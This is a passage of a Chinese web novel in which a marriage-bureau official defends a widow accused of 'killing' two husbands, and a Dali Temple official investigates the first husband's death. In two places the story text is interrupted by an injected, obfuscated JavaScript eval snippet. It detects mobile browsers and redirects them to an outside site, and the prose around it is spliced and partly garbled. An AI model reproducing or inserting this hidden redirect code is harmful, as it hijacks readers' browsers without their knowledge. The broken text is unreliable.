她接着说道:“这张屠户明明是醉酒之后走岔了路,从后山那条羊肠小道上摔了下去。大理寺查得清清楚楚,怎么到了你嘴里,就成了被气死了?再往下编,是不是还要说她是狐妖转世?” 赵清在一旁骂道:“这些人啊,就见不得女子过得比他们体面。瞧着人家一个女子开个摊子都能排长队,心里就犯酸,造起谣来一点不打磕巴。” 那山羊胡本来还想说点什么,被砸了这一下也有点怵了,再加上一抬头看到顾行歌和赵清一身正气,他心里一虚,只得灰溜溜地人群里挤了出去。 不远处,临街茶楼的二层靠窗处,坐着两人。 魏怀州端着一杯茶,目光落在那炊饼摊处,眼神沉静,似乎在琢磨着什么。 秦若木坐在一旁,看得心惊胆战,见人散了,这才悄悄把桌上那碟山栗子收了回去,还低声嘟囔道:“公子,咱下次能不能不要这么冲动?这要是砸歪了,伤到人可是要赔钱的。” 他是真的想不通。自家公子这些年一向清冷端庄,读的都是圣贤书,什么时候也学会街坊混混的那一套了?说扔就扔,扔得还挺准。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881818|175972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魏怀州却懒得解释,只低头抿了口茶,慢悠悠道:“顺手而已。” 他一向懒得掺和这些街头的小吵小闹,只是方才那几人眼神猥琐,嘴里吐出的话更是腌臜。 魏怀州倒是少有地生出几分惜才之情。 这合婚司的小主簿,聪明伶俐,若被那般污言秽语一泼,倒像是白玉落了灰。 她虽不归大理寺管辖,但毕竟同朝为官。前阵子安成侯的案子,她里外忙了不少,办事也算妥当。 更何况,眼下他要办的事,八成还得麻烦这顾行歌跑一趟。 权当是,先还个顺手的人情罢了。 茶楼这边,魏怀州还在不紧不慢地品着茶。 街边的炊饼摊,却忽然起了争执。 只见一个脸盘阔大、膀粗腰圆的妇人一把将案板拍得震天响,气势汹汹地吼道:“我儿子成亲才一年就死了,你说你不是克夫?你个天杀的毒妇,居然还有脸开门做生意!” 这话一出,周围排队的人都愣住了,随即纷纷伸长了脖子往这边瞧。 何寡妇却仿佛没听到似的,仍低头翻着锅里那几张炊饼,过了好久才回了一句:“他死了,活该。我难道也得守着等死?” 那妇人像是被人踩了尾巴,跳脚尖叫:“你说什么?你承认你克死我儿子了是不是?” “我没承认。”何寡妇抬头望向那妇人,“我只是说,他的死,是活该。” 妇人气得直跺脚:“你欠我们家丧葬银,还敢嘴硬?有借据在这里,你今日要是不还,别想走!” 说这话,她哆哆嗦嗦地从怀里掏出一张皱巴巴的纸,往人群里一挥:“大家伙儿,都来看看,白纸黑字,她亲手按的手印,欠我们张家一百两丧葬银,这毒妇还想赖账?” 她把那纸在空中抖得哗啦响,脸上泪没掉一滴,发出的哭声倒是地动山摇:“我那儿子啊,老实巴交一个人,好心好意娶了她这个丧门星,结果才进门才一年,连个孩子都没留下,就一命呜呼了!” “官府说是摔死的,谁信啊?她头一个男人也是刚拜完堂就撒手人寰,难不成天底下的倒霉事都让她摊上了?” “可我儿子不嫌她名声坏,拿出张家攒了半辈子的家底儿,给她置办首饰,结果人死得不明不白,她倒好,炊饼摊开得热热闹闹,钱赚得叮当响。” 说到这里,那妇人突然捂着胸口,扑通一声往地上一坐,开始朝天开始抹泪:“你说她要是还有点良心,早该披麻戴孝守灵过日子了!如今倒好,满脸红光地做生意,我看她是连我们张家的棺材板都给踩烂了!” 一番话是又哭又嚎,街边人看热闹的不嫌事大,早就围了一大圈。这时都开始审判这何寡妇。 “不会吧,她还真欠了人家丧葬银?” “啧啧,两个丈夫都死得快,这可不一般呐。” “别乱说,万一真是命硬的?” 可那何寡妇却一声不吭,只是把炊饼翻了个面,啪地贴在锅边,神情冷冷地看着那妇人。 正闹着,忽听旁边咔哒一声轻响。 原来是顾行歌早已看不下去了,往前一步,不动声色地伸手一捞,一把将那张皱巴巴借据抢了过来。 她低头看了两眼,眉头一挑,笑道:“张家老太太,这借据……你这就有点不太讲理了啊。” 16. 两个夫君(二) 张家老太太一见借据被拿走,顿时瞪圆了眼,急得上前两步:“哎哎,你这人,这借据是我家的,还我!” 她一边说着,一边伸手去抢。可她年纪大了,身子又沉,手脚早没那么利落,扑了个空不说,反倒又一屁股坐到了地上,嘴里还骂骂咧咧地:“你是哪家的?管得这么宽,懂不懂规矩啊?” 顾行歌笑了笑,这可真是撞进了她的道上。前些日子为了安成侯的案子,她可没少熬夜看字帖,对比字迹,眼力练得正好。 她慢悠悠道:“我姓顾,户部合婚司的主簿。老太太,你这借据,既是自己拿出来让众人评理的,总不能又不让人细看罢?” 众人原本见她一身素服,年纪又轻,只当是个不重要的小官,现在看她说话条理分明,从容不迫,也都纷纷点头称是。 顾行歌举起手中那张皱巴巴的借据:“各位看好了,这借据明显是有段日子了。可偏偏最上头写‘何宛枝’那几个字,墨迹却新得很,怎么看都不像是同一时间写的。” 她话锋一转,看向张家老太太,语气仍是客气:“要是随便往上添个名字就能当真,那我现在在后头添几笔,写成你欠我一百两银子。这笔账,你认吗?” 人群里传来一阵议论声,有爱看热闹的干脆凑上去看了两眼,啧啧赞叹:“还真是,你看这几笔,深浅不一,拿这蒙人也太粗了点。” 张家老太太一看形势不对,脸色顿时一变,干脆一把鼻涕一把泪地接着嚎起来:“我的好儿子啊,好心好意娶了她,命都赔上了。这女人成了亲还整日不着家,我儿子死的那晚,她也不在家!” 她哭得声嘶力竭,一边用袖子抹脸,一边还不忘翻个白眼,哽咽着道:“再说了,我一个孤老太婆,手里没钱没法活啊,就想讨个公道,一百两又怎么了?她克死我儿子,还想赖账不成!” 顾行歌见她赖在地上撒泼也不是个事儿,便小心翼翼地将她扶起来:“老太太,你先起来,地上凉,万一着凉了可不得了。这张屠户的事,我们可以慢慢讲清楚。” 谁知那张家老太太却忽然一把反手抓住她的胳膊,眼泪还没擦干,嘴上已经咬住不放:“你说慢慢说,那我就问你,这一百两丧葬银,你给我吗?” 此言一出,四周围观的人先是一静,随即哄地全笑起来。 顾行歌被她这一下死死拽住,整条胳膊都动弹不得,一时竟连是先拒绝还是先挣脱都拿不定主意,只能干巴巴地站在原地,任那老太太哭天抢地往自己身上贴。 正僵着,一道男声传来:“哎呀,张老太太,你可快松手吧,这都第几回了?” 顾行歌顺着声音看去,只见人群里挤出一人,那人身量颇高,臂膀粗壮,一看就是练家子出身。此人顾行歌认得,是太平坊的铁匠钱大,在西边开了一间铁匠铺。平日里,坊中谁家被偷了,或是哪家媳妇又和婆母拌嘴,不论出了什么鸡毛蒜皮的事,多半是他出面劝架,久而久之,也就有了个半个坊正的名头。 张家老太太到底还是听钱大的话,嘴里虽然还在哼哼唧唧,但还是松了手,嘴里还不忘嘀咕几句:“也不知是谁家的姑娘,瞧着人模人样,就爱多管闲事……这年头能嫁得出去才怪。” 顾行歌甫一脱身,刚想喘口气,就听得前方传来一句:“这钱我给你,莫要为难这位顾姑娘。” 何宛枝正站在炊饼摊后头,身子笔挺,手里捏着几块碎银和一张银票。她将银票递给张家老太太:“这有五十两,你拿去换吧。” 张家老太太眼前一亮,立马从地上爬起来,一把将银子和银票抢了过去:“成,我今天就不追究了。” 说完一瘸一拐地走了两步,又回头狠狠盯了何宛枝一眼:“可你记住了,咱这笔账,总有一天得算个明白!” 人群里有人小声嘀咕:“啧,这老太婆也忒蛮横。” 何宛枝没应,只低头把锅边那一张快焦了的炊饼翻了个面。 见这张老太太走远,何宛枝才略带歉意地道:“让诸位见笑了,今日摊子怕是摆不成了,还请回吧。” 她这话一出,队尾那几个排了半晌的汉子立马皱了眉,其中一人还没忍住,低声嘟囔:“起得这么早,还没吃上热的呢……” 但见摊前站着的,不只是那个向来冷脸的何宛枝,坊里的铁匠钱大,还有个看着就不好惹、却偏偏笑吟吟的官府的女子。那汉子张了张嘴,终究还是把剩下的牢骚咽了回去,悻悻地扯着同伴扭头走了。 人走了大半,街道也安静了下来,何宛枝也未多言,只转身将摊子的锅碗都收了。 钱大望着她的背影,神色复杂,片刻后才低声问:“你若真把这些银子都给了张家老太太,自己手头……还宽裕吗?” 何宛枝低头将剩下的碎银收到钱盒子里:“多谢钱大哥挂念。终是还有点体面钱可撑几日,但若她再这般闹下去,也就真没了。” 钱大愤愤不平道:“上回才把她撵走,这张家老太太是三天两头来寻晦气,怎还没完?若是下回她再来,我可不和她客气。”又压低了声音,“你一个女人家,守着这点铺子,过得本就辛苦,何苦什么事都一个人扛着?” 听他说得咬牙切齿,倒像是替何宛枝打抱不平,可顾行歌听着听着,却听出了些别的味道。 她微微一挑眉,目光在二人之间来回扫了扫,心中暗想:这钱大,莫非也是对着何宛枝有意思? 顾行歌看了看钱大高大壮硕的身躯,心下立刻替李烛龙点了根香。 李寺丞此番求亲之路,恐怕是凶多吉少了。 旁边卖瓜果的妇人悄悄凑上前来,小声嘀咕:“我看哪,张家不是还有个小儿子?多半是那小子在背后撺掇的。他家老太太那点脑子,哪想得出这么多名堂?” 周围几个商户听了,纷纷点头。 何宛枝没顾得上和他们闲扯,只快速将摊收拾好,随即告辞了。 可何宛枝却没心思应和,麻利地收拾好摊子,低声跟众人道了句告辞,转身便走。 顾行歌眼见她要走,才想起今日来太平坊还有正事要问她。她忙快步几步追上去,扬声唤道:“哎,何娘子且慢,我有事问你。” 何宛枝停下脚步,将包袱放在地上,转过身来,眉眼间全是疲意:“方才多谢你了。” “嗐,别这么客气。”顾行歌摆摆手,笑道,“不过就是顺手帮个小忙。我听他们说,那张家老太太三天两头来找你麻烦?” 说着,她顺势去帮何宛枝着提起一只包袱,谁知这东西竟沉得出奇,她手一滑,差点没拿稳,低头一看,才发觉方才张老太太抓住的手腕处,竟是一圈乌青。 “哟。”顾行歌倒也不恼,只是揉着手腕讪讪笑道,“这老太太手劲儿不小啊。” 何宛枝瞥了一眼她手上的淤青,像是想说什么,最终却只是道:“请随我来吧。” 她不再多言,提起包袱,带着顾行歌与赵清穿过巷子,一路往太平坊最西头走去。 那一带的房屋年久失修,墙角生着青苔,地面湿滑,得小心看着路才行。 巷口偶尔还飘着鱼腥气。屋檐与树木层层叠叠,将天光遮得严严实实。虽然此时才刚过正午,可四下竟暗得如同黄昏。 顾行歌难得走到这片地界,不由多看了几眼。越往深处走,越觉得巷子里的光线似乎更暗了一层。 巷尾尽头,有一间小院,院门漆色斑驳,小院内部却打理得还算干净。何宛枝熟门熟路地推开里间的门:“进来吧。” 顾行歌与赵清对视一眼,也不多问,跟着一脚踏了进去。 屋里陈设极简,几乎可以用清寒来形容。 除了一张床,一张木桌外,便是空空如也。墙边倒是堆了些锅碗瓢盆。似是做炊饼用的,都刷得干干净净。 何宛枝也不多言,从院子中翻出几味药草来。她拎起石臼磨药,动作熟稔得很,不多时便调成一团药膏。 她走到顾行歌面前,蹲下身子,轻声道:“这是金不换,也就是三七,用来活血化瘀的。”看起来十分可靠,说话间,已将药膏细细敷在顾行歌手腕上。 赵清在一旁感叹道:“何娘子还真是全能,会做炊饼、会治跌打……你到底还藏着多少本事?” 顾行歌低头看了眼敷着药膏的手腕,笑道:“原以为你只精于厨艺,没想到还懂医术。” 何宛枝只淡淡应道:“也谈不上懂,只是早些年家中有人练武,经常受伤,没钱请大夫,我便自己翻书学了点法子。” 屋内光线暗沉,此时窗外一缕日光斜斜洒进来,正照在她的侧脸上,将那原本清淡的五官衬得明艳动人。顾行歌看着她,不禁心头一动。 果然是个貌美的人,怪不得这么多人都倾心于她。 这样一位清冷美艳、话不多的寡妇,要不是眼下坐在她面前,光听传言,谁都要以为她是个妖言惑众的毒妇。 何宛枝站起身,拍了拍手:“我这屋里也没什么好招待的,两位若无事,不如……” “倒也不是无事。”顾行歌连忙起身,“是我们叨扰了。只是,有件事想向你请教。” 顾行歌犹豫半天才开口接着说道:“大理寺有位官员,不知何娘子是否识得。他名叫李烛龙,算来他住的也离这里不远,你们兴许见过?” 何宛枝听了那名字,眉头微蹙,似在回忆。 过了好久,她才缓缓开口:“是不是一个,长得黑胖的,腰间常挂着一把刀?” “对对对!”顾行歌有点激动,“就是他,何娘子,对此人可有印象?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895889|175972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 何宛枝点了点头:“只记得他一来就买十个炊饼,还专挑好的,稍微焦一点的,都不肯要。” 顾行歌:“……” 倒也真是令人印象深刻。这位李寺丞,原来是靠食量赢得存在感的。 只是,这还怎么说亲?怎么这大理寺的人都这般奇怪! 顾行歌平复了一下心情,略带尴尬地道:“这位李烛龙呢,本是大理寺的寺丞,俸禄不低,年纪也还不算大……他听闻你能干持家,人又勤快,便托我来问问你,可有婚嫁之意。” 说着,顾行歌偷偷瞥向何宛枝,见她并未露出厌恶的神情,才悄悄松了口气:“当然,这事还得看你的意愿,若你不愿,我回头也好有个交代。” 何宛枝沉默片刻,才道:“多谢顾姑娘一片好意……只是我现今,确实无意再提婚嫁之事。” 顾行歌一听,立刻点头:“行,我明白了,我这就跟他说去,回头要是他还不死心,我亲自踹他一脚。” 何宛枝却难得轻轻一笑,目光扫过顾行歌,眼中竟透出一丝罕见的松动与柔和。 今日这女子不仅替她解了围,说起话来也颇为体贴周全。想起方才她在摊前站了许久,一口炊饼都没吃上,何宛枝略一沉吟,开口道:“既如此,顾姑娘不妨在我这儿吃点东西,也算我略尽一份心意。” 顾行歌眼前一亮,连忙道:“那我就恭敬不如从命啦。” 屋内气氛变得和煦起来,赵清在一旁笑着摇头,没出声。 等到何宛枝将炊饼端上桌,天色已变暗,屋外的风一阵紧似一阵,吹得门窗咯吱作响。 顾行歌和赵清早就饿得前胸贴后背,顾不得形象,迫不及待地捧起炊饼就咬了一口。赵清赞不绝口:“真好吃!何娘子,怎么想到往炊饼里加肉沫的?” 何宛枝低头收拾着灶台,淡淡地道:“张屠户是卖猪肉的,家中常有卖不出去的碎肉,我便想着不能浪费,剁碎了加在饼里,没想到大家还爱吃,也算歪打正着。” 顾行歌正嚼着,听她说起“张屠户”,忽觉这炊饼似乎不那么香了,但又不能不吃,没办法只能硬是咽下去。 何宛枝看了她一眼,目光微动:“方才我一口拒绝,也不是因为那位李烛龙如何。只是我心里总觉着,自己命不好,这两任丈夫,都没过几年就……走了。” 她说得平静,却透出几分压抑的疲惫。 顾行歌听了这话,顿时将炊饼一放,坐直了身子,一本正经道:“没有的事。是他们两个命薄。” 何宛枝却轻轻一笑:“顾姑娘,你是合婚司的,管的就是婚姻嫁娶,你说说,这姻缘,于女子而言,到底算什么好事?” “人人都说……是我克死了张屠户。” 她眼神定定地望着那扇紧闭的小窗,仿佛窗外真藏着什么可怖之物,“我自然是知道这些都是胡说八道,可我这些日子,总觉得他那张喝醉了酒的脸,总是从黑影子里冒出来,就像还在盯着我。” 话音未落,屋外的天似忽然变了色,巷间的风,此刻却像突然起了什么邪气,唰地一声灌进巷口。 紧接着,一阵狂风撞上了院门,“砰”的一声,像是快要把门吹坏了。 顾行歌立刻紧张起来,只见窗户那边一颤,一道模糊的人影自院外闪过。 “谁!”顾行歌低喝一声,猛地站起身来,“赵清,和我一起出去看看。” 赵清早吓得缩到墙角,躲在一堆锅碗后头,只露出半个脑袋往外探,结结巴巴地道:“应、应该是风吧……” 顾行歌回头一看,气得直想把桌子砸过去。 这便是她堂堂合婚司的得力助手?武力值不说了,还如此胆小! 顾行歌恨铁不成钢,心道回去非得加训不可。可眼下顾不得这些,她咬了咬牙,一人挺身而出,深吸一口气,跨出屋门。 顾行歌颤颤巍巍地打开了院门。偏偏就在此时,一阵风猛地吹起,小院的门立马被吹开。 顾行歌被风吹得睁不开眼,顿时慌了手脚,只得就近伸手去扶,一把摸到旁边一处墙壁,顺势往那儿靠了过去,才堪堪稳住身形。 只是……这墙壁,怎么还挺暖和的,还带着一股清冽好闻的香味。 顾行歌愣了一下,又双手悄悄摸了摸,这手感怎么不太对?这墙壁还挺软。她害怕这墙壁别给吹倒了,一时心虚,赶忙想再扶点什么稳一稳,手下一滑,竟一把攥住了旁边的一根树棍。 等风小了些,顾行歌一睁眼,才发现她不知何时已撞进了一个人的怀里,此刻一只手正死死扒着人家的胸膛不说,还一手牢牢抓住了那人的胳膊不放。 顾行歌一抬头,看到一双熟悉的眼睛正在盯着自己。 顾行歌一愣:“……魏怀州?” 17. 两个夫君(三) 顾行歌手还抓着魏怀州的胳膊上,整个人几乎是贴着他胸膛靠着的,一时间气氛有些尴尬。 顾行歌反应过来,猛地往后一跳,还踉跄了一下:“李……哦不对,魏大人。” 魏怀州垂眸看了她一眼,慢条斯理地整理了一下方才被顾行歌抓皱的衣襟。那衣料是上好的英州锦,平日里一点褶皱都不可能有,却被她那一顿手忙脚乱弄得一塌糊涂。 顾行歌也瞧见了,脸上有些挂不住,忙上前一步:“我来、我来帮你整整。”她说着,忙不迭地伸手上前,想替他把衣服掸顺。 魏怀州却不动声色地侧了下身,避开了她的动作:“不必。” 顾行歌顿时一愣,讪讪地把手收回来,不敢再动。 魏怀州轻轻皱了一下眉,神色里闪过一丝迟疑。 他其实并不排斥顾行歌,也不是那等讲究男女授受不亲的古板之人,若真说起来,他并不讨厌她。只是方才不知怎么的,顾行歌双手一伸过来,他竟然有些紧张,下意识地往旁边避了避,连他自己都有些意外。 两人就这么站在院门口,一动不动,谁也没说话。院里还飘着炊饼的香味,门外却是一阵阵风吹过,带来一阵凉意。 说起来,这还是两人自大理寺之后头一次见面。 顾行歌暗暗咋舌:怎么每次碰上大理寺的人,都是这般倒霉! 她正苦思冥想要怎么破这死局,就听见魏怀州轻咳了一声,终于开口:“你怎么会在这儿?” 顾行歌连忙顺着台阶就往下说:“这不是李烛……咳,李寺丞,他说想来求娶这位何娘子,我便替他来打听打听。” 她顿了顿,补充一句:“本以为是桩喜事,没想到还真是风波不断。” 魏怀州道:“李寺丞……” 话音未落,两人脑中竟都不约而同地浮现出之前,他借用李烛龙名头,哄得顾行歌团团转。 一时间气氛又微妙起来。 魏怀州沉默了一会,终是开口:“上回之事……确实是我不妥。假借李寺丞的名头,只为早些查出真相。隐瞒身份之举,顾主簿还请见谅。” 他神色看起来颇为郑重,倒不像是在敷衍推托。 顾行歌听罢,虽然之前的气消了些,但还是咽不下那口气。她脑子一转,既然魏怀州位高权重,寻常法子不顶用,倒不如换个最简单的法子,借坡下驴还能顺便敲他一下。 于是顾行歌笑眯眯说道:“魏大人说得严重了。我又不是不讲理的人。” “再说了,其实我早就看出来你不是李寺丞了,只不过我也想着早日破案,索性就装糊涂,配合魏大人唱这出双簧。”她一边说,一边笑眯眯地看他,看起来倒也算大度。 魏怀州一听,神色有点微妙,倒是今日第一次认真看向顾行歌的正脸,疑惑道:“你早就知道?” 什么叫她早就知道?魏怀州才不信,这顾行歌前前后后忙跟着自己忙活了大半个月,每日的心情好坏全写在脸上,哪像个早就识破他的计谋的? 顾行歌却笑得坦坦荡荡:“自然。” 魏怀州面色沉了下来,像是被气到了,又像是一时半会不知道怎么答话,半晌后只轻轻地嗯了一声,听不出喜怒。 此时,外面的风总算停了些,赵清推门探头,一眼看见魏怀州,惊讶道:“魏大人怎么在这儿?” 顾行歌闻言,冷哼了一声。 若不是赵清方才推三阻四,死活不肯出去查看动静,非逼她这个女子亲自出门查探,哪来刚才她出糗的那一幕? 赵清被顾行歌那一眼看得有点发虚,赶紧往门后缩了缩。 不过此时,顾行歌心情倒是极好。 方才魏怀州那副吃瘪又强撑着面子的模样,她越回味越觉得好笑,真是心情舒畅,这些日子的闷气一下子都没了。于是她语气轻快地问道:“确实,魏大人为何在此?难道也是为了说亲来的?” 魏怀州问道:“这里可是何宛枝的住所?” “正是。”还没等顾行歌接话,屋里已有人先应了。 何宛枝也从屋内出来,她手中还拎着一块刚擦完桌子的抹布:“不知大人登门,有何要事?” 魏怀州淡淡地打量了她几眼:“江员外,可曾是你的丈夫?” 此言一出,何宛枝脸色明显一变,不过她并未多言,只侧身让出门口:“还是请进来说罢。” 魏怀州抬脚进了小院,顾行歌紧随其后。进了屋,她随手将门带上,不料手肘擦过门侧,竟不知沾染上什么。 顾行歌低头一嗅,竟带着一点硝石的味道。 她微微蹙眉,低声嘀咕了句:“这地方,怪得很。” 她正欲俯身细查,身后一阵风灌了进来,赵清急忙看过来,低声催促:“我的主簿,快些关上门吧。这风感觉很邪乎啊。” 顾行歌只得把疑问压下,快步跟了过去。 何宛枝站在桌边,见人都已落座,这才缓缓开口:“江员外是我的第一任丈夫,过世已有两年。” 魏怀州闻言,随即从怀中拿出一封信:“我们在查安成侯走私红雁花一案时,追查到一批账册,名单中有一名江姓员外,嫌疑极重。”他说着,将信递出,“此人身份本打算深入追查,可查到一半才发现,此人早在两年前便已亡故。原以为无从深究,前几日却意外得到这封信。” “信上写得明白,江员外之死,并非病故,而是被其妻所害。” “什么!”顾行歌几乎脱口而出,一把接过那封信,脸上写满难以置信,“怎么可能呢?” 顾行歌拿着那封信仔仔细细看了一遍,只觉字迹潦草,许多地方连字都写错,显然出自识字不多人之手。 只见信中写道,那位江员外某日突然失踪,四下寻人无果,连带着几件值钱的物什也一并不见。最初只道他外出未归,谁知月余未返,坊间渐有传言,说是他死于非命。 信的末尾一段潦草几近难辨,却仍勉强可读,写信人言辞犹豫,似不敢妄断,只写到,江员外之死,极可能与他当时的妻子有关。 何宛枝倒是平静地道:“我没有杀人。” 魏怀州似乎是料到她会这样说,道:“那便请你说说,你与江员外的关系。” 何宛枝像是在回忆,良久,才缓缓开口:“三年前,我刚满十八,家中突遭变故,一夜之间什么都没了,我走投无路,来到了京城。” “我本以为自己这辈子也就这样了,却在那时遇见江员外,他虽年长我一倍,却待我尚可。他的原配早逝,无子无女,便纳了我为继室。” “怎料成亲不过三月,他便死了。” 魏怀州盯着她:“怎么死的?” “官府说是被利器所伤。”何宛枝轻声答道,“身上多处刀伤……说是遇刺,但也有人说是仇杀。” “那一晚你在哪儿?”< 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正是钱大,他走得急,粗布衣裳被汗浸湿,贴在背上,像是从哪处一路小跑过来的。他一边劝着张老太太息怒,一边还不忘回头朝顾行歌点头致意。 顾行歌心中一阵嘀咕:这钱大倒也来得巧,每次何宛枝有难,他都能掐点出现,未免也太殷勤了些…… 张老太太眼尖,一看屋里走出好几人,尤其看到那领头的年轻男子穿得不俗,顿时像被点了火药桶一般,指着何宛枝就骂起来:“我儿子才死了几日!你就招猫逗狗招一屋子男人来家里,太不要脸了!我早就知道你不安分!” 顾行歌脸色一沉,正欲出言,钱大抢上一步,急道:“哎呀张家老太太,莫要胡说八道,人家都是官府来的,有要紧事。” “官府的人?”张老太太一听这话,立刻往前挤了两步,“那感情好,我儿子死得蹊跷,正该由官府主持公道!他们说他是喝醉摔死的,我不信!你们来得正好,把这狐媚子抓起来!” 她一边喊,一边用双手死死指着何宛枝,就好像已经认定对方就是杀子的仇人。 魏怀州冷静道:“我们此番来,是调查江员外之死的,与令郎之事暂且无关。” “江员外?”张老太太愣了一下,反应过来后,立刻叫得更大声了,“我晓得了,是她那个前头死了的老相好。对,就是他!她克夫,这街坊邻居谁不知道?大人啊,可千万莫轻饶了她!” 魏怀州没理张老太太的吵闹,只是转过头,从顾行歌手里接过方才那封信,正要收起来。 这时,一直站在旁边的钱大忽然凑前一步,目光牢牢定在那封信上,不知是看到了什么:“等等。” 他朝魏怀州抱了抱拳:“大人,可否让草民也瞧一眼这封信?” 魏怀州略一沉吟,点了点头。顾行歌便将信递了过去。 钱大接过信,扫了一眼,原本还算镇定的神情竟一点点地消失了。 他道:“大人,草民自小和这张屠夫一起长大,最是熟悉他不过,这信,或许就是这张屠户所写。” 顾行歌一怔:“你是说,张屠户自己写的这封信?那他是怀疑何娘子,杀了江员外?” 顾行歌越想越觉得荒唐:“那他……还娶了个他自己怀疑是杀人凶手的女子?” 18. 两个夫君(四) 正所谓,英雄难过美人关。不对,其实应当说,天下男子,皆难过美人关。 这张屠户当初既已起疑,怀疑何宛枝与前夫江员外之死脱不了干系,可半年后竟还是把人娶进了门,他到底是做何打算?莫非真如传言那样,只因她生得一副好皮囊,便叫这大老粗动了痴心,一颗脑袋拴在裤腰上也甘之如饴? 顾行歌啧了一声,心中说不清是惊讶还是叹息,只道这案子真是越绕越玄。 倒是站在一旁的钱大,听到顾行歌说这话,嘴里含糊道:“这我可说不准,小人只是瞧着,这确实是张屠户的笔迹。至于他到底是怎么想的,那……那我可真不敢猜。” 他说这话时低着头,谁都不敢看。 魏怀州的视线落在钱大身上许久,钱大被他盯得汗都快下来了,只觉得脖子后头一阵阵发凉。 半晌后,魏怀州问道:“你还都知道些什么?” 钱大支支吾吾说道:“我也没知道多少,小人也就是知晓张屠户一向敬重何娘子,后来成了亲,那也是他一厢情愿……至于别的,我可真说不上来。” 魏怀州听着,只是点了点头,看不出什么情绪。他接着转身问道:“何娘子,那你可知,你这两位夫君,其实早就相识?” 何宛枝下意识摇了摇头:“我嫁入江府不过三月,江员外身边的人很多,我素日只待在后院,从不插手外头的事。至于他手下都有什么人,我是真的不知道。” 这回答倒也合理。 一个年纪轻轻的继室,在后宅夹缝求生,恐怕连府里正经管事的下人都叫不出名字,更别提主家旧识。更何况,这江员外估计还刻意不让她插手各类事务,何宛枝不知情,反倒才显得正常。 魏怀州听到此处,沉吟片刻,才开口问道:“何娘子,江员外可曾留下什么物件与你?” 顾行歌看了看何宛枝现在住的小院,空空如也,要说江员外留下了什么,只怕也就只剩几口西北风了。 何宛枝道:“有倒是有,只不过……”她抬头看了一眼站在一旁的张老太太,“江员外过世后,那江家不肯留我,草草给了几样首饰,文书之类的东西,便打发我离开了。自打嫁入张家后,便是夫妇一体,所有带入门的物件,也都归入张家了。” 张老太太见话题被扯到自己身上,便大声嚷嚷起来:“哟哟哟,听听,听她怎么说的!你这么一说,那还是我们张家占了便宜咯?就那几样破烂的玩意儿,扔在巷口都没人捡,还硬要说是什么员外家的好东西!” 她骂着骂着,忽然从袖中抽出一张皱巴巴的银票,“啪”地一声砸了过来:“你白日里给我的银票,我拿去铺子里换钱,人家连看都不看就说不认!我呸,拿张假银票来糊弄我,你也不嫌丢人!” 那银票轻飘飘落在何宛枝脚边。 何宛枝也不捡,她神情冷淡,像是早就习惯了这般羞辱。 张老太太也不管,撂下话便转身去抹眼泪。这次倒也真情实感,口中不停地在念叨死去儿子的名字,仿佛要把整个张家的血泪史都倒给屋里众人听。 最后还是赵清,在顾行歌的示意下,小心翼翼地把银票捡起来,边拾边赔笑道:“得嘞,老太太,这银票我拿去试试看。要是真能换了钱,再给您送回来成不?” 张老太太哼了一声,没接话,却也算默认了。 可不知怎的,她好像是越想越委屈,突然一屁股坐倒在地上:“我可怜的儿子啊!你还活着的时候,咱张家的肉铺,一日至少能赚个几十两银子,什么五十两、就是五百两,我都懒得看一眼。谁知你这么命苦,娶了这么个妖精似的女人,那天晚上才喝了几杯,就从东山那的悬崖上摔了下去……” 她越说越激动,拍着大腿直嚎。 一旁的钱大见她哭得上气不接下气,连忙劝道:“哎呀老太太,您这是干什么呢?我不是早就跟您说了么,家里那些看着碍眼的东西都交给我,我给您拿去卖了,好歹也能贴补点用度。再加上张屠户那点积蓄,您安安稳稳过个晚年,是没问题的。省得您天天跑这儿来跟何娘子较劲,闹得人仰马翻。何娘子愿意搭理您,那是她心好,可也不能让人日日受你这窝囊气啊。” 张老太太抽噎着,嘴里仍不依不饶,可哭声比刚才低了些,似乎也听进去了几分。 顾行歌站在旁边,心中却五味杂陈。 这张老太太着实烦人,满嘴刻薄话,仿佛要把自己的不幸都要赖在旁人头上。可终究是个白发人送黑发人的可怜人。她那儿子张屠户,平日里虽粗鲁了些,但身子骨极好,庖丁宰牛,一刀下去利落干脆,每日喝点小酒都不耽误第二天开张,怎么说没就没了呢? 于是,顾行歌想去安慰几下。她刚走了半步,就听到院门那边传来脚步声。 顾行歌推开屋门一看,秦若木小跑着进来的,额头还冒着薄汗,显然是一路快赶着来的。 他走到魏怀州身侧,低声在他耳边说了几句。魏怀州原本神色平淡,一听这话,眉头立刻一动,神情也郑重起来:“竟是找到了?” 魏怀州脸色正经起来,道:“竟是找到了吗?” 顾行歌听见,忙问:“找到什么?” 魏怀州转头看她一眼,沉声道:“江员外生前留下的文书,就在太平坊外他置下的那处旧宅内。” 说着他压低声音,凑到顾行歌耳朵旁边道:“可能与安成侯走私红雁花一案有关。” 顾行歌还没来得及琢磨这话,先被他忽然靠近的动作惊了一下。她下意识往后一缩,却因退得太快,差点磕到后头的门框。魏怀州见状倒是不动声色,只微微抬手,像是要扶她,却又在半路停住,手顿在半空,终究没落下来。 顾行歌心下恼火,又觉有点丢脸,偏偏身后一群人都在看着,她只好佯装镇定,咳了一声,装作若无其事地往屋里挪了两步。 